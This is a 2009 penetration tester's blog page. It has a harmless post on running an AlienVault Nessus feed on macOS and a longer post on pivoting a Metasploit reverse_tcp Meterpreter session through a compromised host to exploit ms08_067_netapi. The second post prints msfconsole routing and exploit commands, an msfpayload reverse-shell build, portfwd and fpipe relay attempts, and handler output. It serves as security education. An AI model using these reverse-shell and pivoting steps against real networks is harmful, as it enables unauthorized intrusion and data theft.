Welcome to In Depth Defense. In Depth Defense LLC is a privately owned Information Security Consulting company owned and operated by Mark Baggett. In Depth Defense specializes in Penetration Testing and Incident Response. At this time In Depth Defense is not accepting any new client work, but we are happy to speak to you and point you to other resources in the community.

Mark Baggett has been active in Information Security for 18+ years. I've served in a variety of roles from software developer to CISO. You can find archives of older blog entries below and read my newer posts on http://www.pauldotcom.com, http://isc.sans.edu and http://pen-testing.sans.org

Sunday, February 15, 2009

Using the free AlienVault.com Nessus feed on your Mac

Tenable has changed their license and you can no longer use their vulnerability feeds for commercial use.   Alienvault.com has a free nessus feed you can subscribe to.  It is available for use here.   You will notice two update programs there.  One for Unix and one for Windows.   What about the MAC?   To subscribe the nessus feeds on your macintosh do this:

1) Download the linux update script.
2) Update it so it works on your MAC as described below.

First, in the "#Plugin dir" section you will need to to change the line that reads:


3) chmod +x alienvault-feed-sync.sh

If you run the script by typing :

./alienvault-feed-sync.sh  nessus 

you will see an error about not being able to find the command "md5sum".   The nessus feed update did work, but the script was unable to compare the hashes to verify it completed successfully.   That might be good enough for you and you can go about using your updated feeds.   BUT,  I want to see that those hashes match.   Really, it is not buying me much security because I'm downloading the "md5sum" file that I am using for comparison from the same location as the files, but its still a good integrity check.   To fix it, you might waste your time as I did and change "findcmd md5sum" in the update script to "findcmd md5" since MD5 is the name of the MD5SUM utility on OS X.   But if you do you will get the following error:

"Error: md5sums not correct. Your NVT collection might be broken now."

Why?  The version of default version of MD5  that comes with the OS doesn't support the --check (-c) option.    For the file check to work you will want to install the version of md5 that is installed on most linux distributions.  It is called md5sum and it is available for install through fink.   

Happy bug hunting.

Wednesday, February 4, 2009

Reverse Pivots with Metasploit - How NOT to make the lightbulb

In a penetration test your target is PII kept on a corporate file server which I will call Victim2. You are outside the firewall but have gained access to an internal host, Victim1, when a user opened your word document with an embeeded Meterpreter payload. The stager embedded in the word document made a REVERSE_TCP connection to your machine which uploaded metsrv.dll to the victim. The machine you have access to (Victim1) has unfiltered access to your target (Victim2). Victim2 is vulnerable to ms08_067_netapi. Victim2 however, has NO access to the internet at all. Were it not for the strict egress firewall rules controlling Victim2 you could have used the ROUTE command to pivot your attack through your meterpreter session on Victim1 to Victim2, and have Victim2 send you a shell directly like this...

Your IP =
Victim1 =
Victim2 =

Background session 1? [y/N] y
msf exploit(ms08_067_netapi) > route add 1
msf exploit(ms08_067_netapi) > route print

Active Routing Table

Subnet Netmask Gateway
------ ------- ------- Session 1

msf exploit(ms08_067_netapi) > sessions -l

Active sessions

Id Description Tunnel
-- ----------- ------
1 Meterpreter ->

msf exploit(ms08_067_netapi) > set RHOST
msf exploit(ms08_067_netapi) > set LHOST
msf exploit(ms08_067_netapi) > exploit

And the session would be shoveled back to you from Victim2. BUT, this time, strong egress filters prevailed and you can't make that direct connection. So you decide to relay in back through Victim1 who does have access to the internet. How do you do that?

Here was my first thought. I'll use meterpreter's PORTFWD command on VICTIM1 to setup a TCP relay and back to me. Then I'll exploit Victim2 and set my LHOST to Victim1 ( and my LPORT to the PORTFWD listener on Victim1. My attack will flow through my pivot and return to me via the PORTFWD on Victim1.

Guess what. You can't do that. LHOST and LPORT have to be a valid IP address on your host or the exploit wont even launch. Metasploit won't let your LHOST be the Victim1. Maybe I could do some CHOST,CPORT trickery (see the advanced options)? I couldn't make that work either.

OK so I can't launch an exploit. But I can make one!
./msfpayload windows/meterpreter/reverse_tcp LHOST=victim1 LPORT=portfwd listener X > custompayload.exe

Then I can use the Upload and Execute payloads to exploit victim2 and get my shell!!
Nope. That doesn't work either. Why? I think there is a bug in PORTFWD.

When you run portfwd and don't provide the OPTIONAL -L ip address it appears to work. You get something like this..

meterpreter > portfwd add -l 6666 -r -p 80
[*] Local TCP relay created: <->

But nothing is listening on port 6666. A quick "execute -c -f cmd.exe; interact 1; netstat -na" shows nothing listening on the port. An NMAP of the host confirms no listener...

Macintosh:~ mark.baggett$ nmap -p 6666

Starting Nmap 4.76 ( http://nmap.org ) at 2009-02-03 22:47 EST
Interesting ports on
6666/tcp closed irc

Nmap done: 1 IP address (1 host up) scanned in 0.27 seconds
Macintosh:~ mark.baggett$

If I try to force the matter with a -L I get a nasty "Cant assign requested address" message.

meterpreter > portfwd add -L -l 6666 -r -p 80
[-] Error running command portfwd: Can't assign requested address - bind(2) /Applications/framework3/lib/rex/socket/comm/local.rb:138:in `bind'/Applications/framework3/lib/rex/socket/comm/local.rb:138:in `create_by_type'/Applications/framework3/lib/rex/socket/comm/local.rb:26:in `create'/Applications/framework3/lib/rex/socket.rb:45:in `create_param'/Applications/framework3/lib/rex/socket.rb:52:in `create_tcp'/Applications/framework3/lib/rex/socket.rb:59:in `create_tcp_server'/Applications/framework3/lib/rex/services/local_relay.rb:184:in `start_tcp_relay'/Applications/framework3/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/net.rb:219:in `cmd_portfwd'/Applications/framework3/lib/rex/ui/text/dispatcher_shell.rb:234:in `send'/Applications/framework3/lib/rex/ui/text/dispatcher_shell.rb:234:in `run_command'/Applications/framework3/lib/rex/post/meterpreter/ui/console.rb:94:in `run_command'/Applications/framework3/lib/rex/ui/text/dispatcher_shell.rb:196:in `run_single'/Applications/framework3/lib/rex/ui/text/dispatcher_shell.rb:191:in `each'/Applications/framework3/lib/rex/ui/text/dispatcher_shell.rb:191:in `run_single'/Applications/framework3/lib/rex/post/meterpreter/ui/console.rb:60:in `interact'/Applications/framework3/lib/rex/ui/text/shell.rb:123:in `call'/Applications/framework3/lib/rex/ui/text/shell.rb:123:in `run'/Applications/framework3/lib/rex/post/meterpreter/ui/console.rb:58:in `interact'/Applications/framework3/lib/msf/base/sessions/meterpreter.rb:181:in `_interact'/Applications/framework3/lib/rex/ui/interactive.rb:48:in `interact'/Applications/framework3/lib/msf/ui/console/command_dispatcher/core.rb:918:in `cmd_sessions'/Applications/framework3/lib/rex/ui/text/dispatcher_shell.rb:234:in `send'/Applications/framework3/lib/rex/ui/text/dispatcher_shell.rb:234:in `run_command'/Applications/framework3/lib/rex/ui/text/dispatcher_shell.rb:196:in `run_single'/Applications/framework3/lib/rex/ui/text/dispatcher_shell.rb:191:in `each'/Applications/framework3/lib/rex/ui/text/dispatcher_shell.rb:191:in `run_single'/Applications/framework3/lib/msf/ui/console/command_dispatcher/exploit.rb:143:in `cmd_exploit'/Applications/framework3/lib/rex/ui/text/dispatcher_shell.rb:234:in `send'/Applications/framework3/lib/rex/ui/text/dispatcher_shell.rb:234:in `run_command'/Applications/framework3/lib/rex/ui/text/dispatcher_shell.rb:196:in `run_single'/Applications/framework3/lib/rex/ui/text/dispatcher_shell.rb:191:in `each'/Applications/framework3/lib/rex/ui/text/dispatcher_shell.rb:191:in `run_single'/Applications/framework3/lib/rex/ui/text/shell.rb:127:in `run'./msfconsole:82
meterpreter > ipconfig

Parallels OEM Adapter.
Hardware MAC: 00:1c:42:99:40:22
IP Address :
Netmask :

OK. So maybe there is a bug in portfwd. I punt and I use a different external TCP relay program. I upload and execute FPIPE.EXE and use it on Victim1 to relay the session from Victim2 back to My IP.

fpipe.exe -i -l 5555 -r 80

[*] Handler binding to LHOST
[*] Started reverse handler
[*] Starting the payload handler...
[*] Transmitting intermediate stager for over-sized stage...(191 bytes)
[*] Sending stage (2650 bytes)
[*] Sleeping before handling stage...
[*] Uploading DLL (75787 bytes)...
[*] Upload completed.

And thats it! Its all good with one VERY IMPORTANT exception. I never get
[*] Meterpreter session 2 opened.

So FAIL, FAIL FAIL. I was unable to pivot a reverse_tcp meterpreter session. I can reach my goal by using the Meterpreter session on Victim1 to access the file server on Victim2 with SMB ports, but thats not very sexy. Ed Skoudis gender bender netcat relays are a good option, but I want to do it with just metasploit. So what is the right way to do this? Do you know? Add a comment!